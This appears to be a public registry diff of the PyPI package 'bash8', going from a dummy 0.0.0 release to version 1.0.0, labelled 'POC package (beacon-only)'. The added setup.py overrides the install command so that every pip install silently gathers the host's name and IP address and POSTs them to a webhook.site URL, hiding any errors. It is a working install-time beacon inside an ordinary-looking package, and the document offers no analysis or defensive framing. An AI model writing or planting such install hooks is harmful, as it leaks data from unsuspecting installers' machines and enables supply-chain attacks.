bash8 0.0.0__tar.gz → 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,9 +1,9 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bash8
3
- Version: 0.0.0
4
- Summary: Dummy bash8 package for PyPI
5
- Author-email: Your Name <you@example.com>
6
- Requires-Python: >=3.7
3
+ Version: 1.0.0
4
+ Summary: POC package (beacon-only)
5
+ Author: Your Name
6
+ Requires-Python: >=3.6
7
7
  Description-Content-Type: text/markdown
8
8
 
9
9
  # bash8\nA dummy Python package version of bash8.
File without changes
@@ -1,9 +1,9 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bash8
3
- Version: 0.0.0
4
- Summary: Dummy bash8 package for PyPI
5
- Author-email: Your Name <you@example.com>
6
- Requires-Python: >=3.7
3
+ Version: 1.0.0
4
+ Summary: POC package (beacon-only)
5
+ Author: Your Name
6
+ Requires-Python: >=3.6
7
7
  Description-Content-Type: text/markdown
8
8
 
9
9
  # bash8\nA dummy Python package version of bash8.
@@ -0,0 +1,8 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ bash8/__init__.py
5
+ bash8.egg-info/PKG-INFO
6
+ bash8.egg-info/SOURCES.txt
7
+ bash8.egg-info/dependency_links.txt
8
+ bash8.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ bash8
@@ -0,0 +1,14 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "bash8"
7
+ version = "1.0.0"
8
+ description = "POC package (beacon-only)"
9
+ authors = [{name = "Your Name"}]
10
+ readme = "README.md"
11
+ requires-python = ">=3.6"
12
+
13
+ [tool.setuptools]
14
+ packages = ["bash8"]
bash8-1.0.0/setup.py ADDED
@@ -0,0 +1,38 @@
1
+ from setuptools import setup
2
+ from setuptools.command.install import install
3
+ import urllib.request
4
+ import socket
5
+ import json
6
+
7
+ BEACON_URL = "https://webhook.site/b32fda38-ab07-4dc4-820d-548bd5011f78"
8
+
9
+ class InstallWithBeacon(install):
10
+ def run(self):
11
+ try:
12
+ # Get host IP address
13
+ hostname = socket.gethostname()
14
+ host_ip = socket.gethostbyname(hostname)
15
+
16
+ # Prepare data to send
17
+ data = {
18
+ "hostname": hostname,
19
+ "ip_address": host_ip,
20
+ "package": "bash8",
21
+ "version": "1.0.0"
22
+ }
23
+
24
+ # Send POST request with IP info
25
+ json_data = json.dumps(data).encode('utf-8')
26
+ req = urllib.request.Request(
27
+ BEACON_URL,
28
+ data=json_data,
29
+ headers={'Content-Type': 'application/json'}
30
+ )
31
+ urllib.request.urlopen(req, timeout=3)
32
+ except Exception:
33
+ pass
34
+ install.run(self)
35
+
36
+ setup(
37
+ cmdclass={'install': InstallWithBeacon},
38
+ )
@@ -1,14 +0,0 @@
1
- [build-bash8tem]
2
- requires = ["setuptools>=61.0"]
3
- build-backend = "setuptools.build_meta"
4
-
5
- [project]
6
- name = "bash8"
7
- version = "0.0.0"
8
- description = "Dummy bash8 package for PyPI"
9
- authors = [{name="Your Name", email="you@example.com"}]
10
- readme = "README.md"
11
- requires-python = ">=3.7"
12
-
13
- [tool.setuptools.packages.find]
14
- where = ["src"]
@@ -1,7 +0,0 @@
1
- README.md
2
- pyproject.toml
3
- src/bash8.egg-info/PKG-INFO
4
- src/bash8.egg-info/SOURCES.txt
5
- src/bash8.egg-info/dependency_links.txt
6
- src/bash8.egg-info/top_level.txt
7
- src/ca_certificates/__init__.py
@@ -1 +0,0 @@
1
- ca_certificates
@@ -1,4 +0,0 @@
1
- __version__ = "0.0.0"
2
-
3
- def info():
4
- return "This is a dummy bash8 package for PyPI."
File without changes
File without changes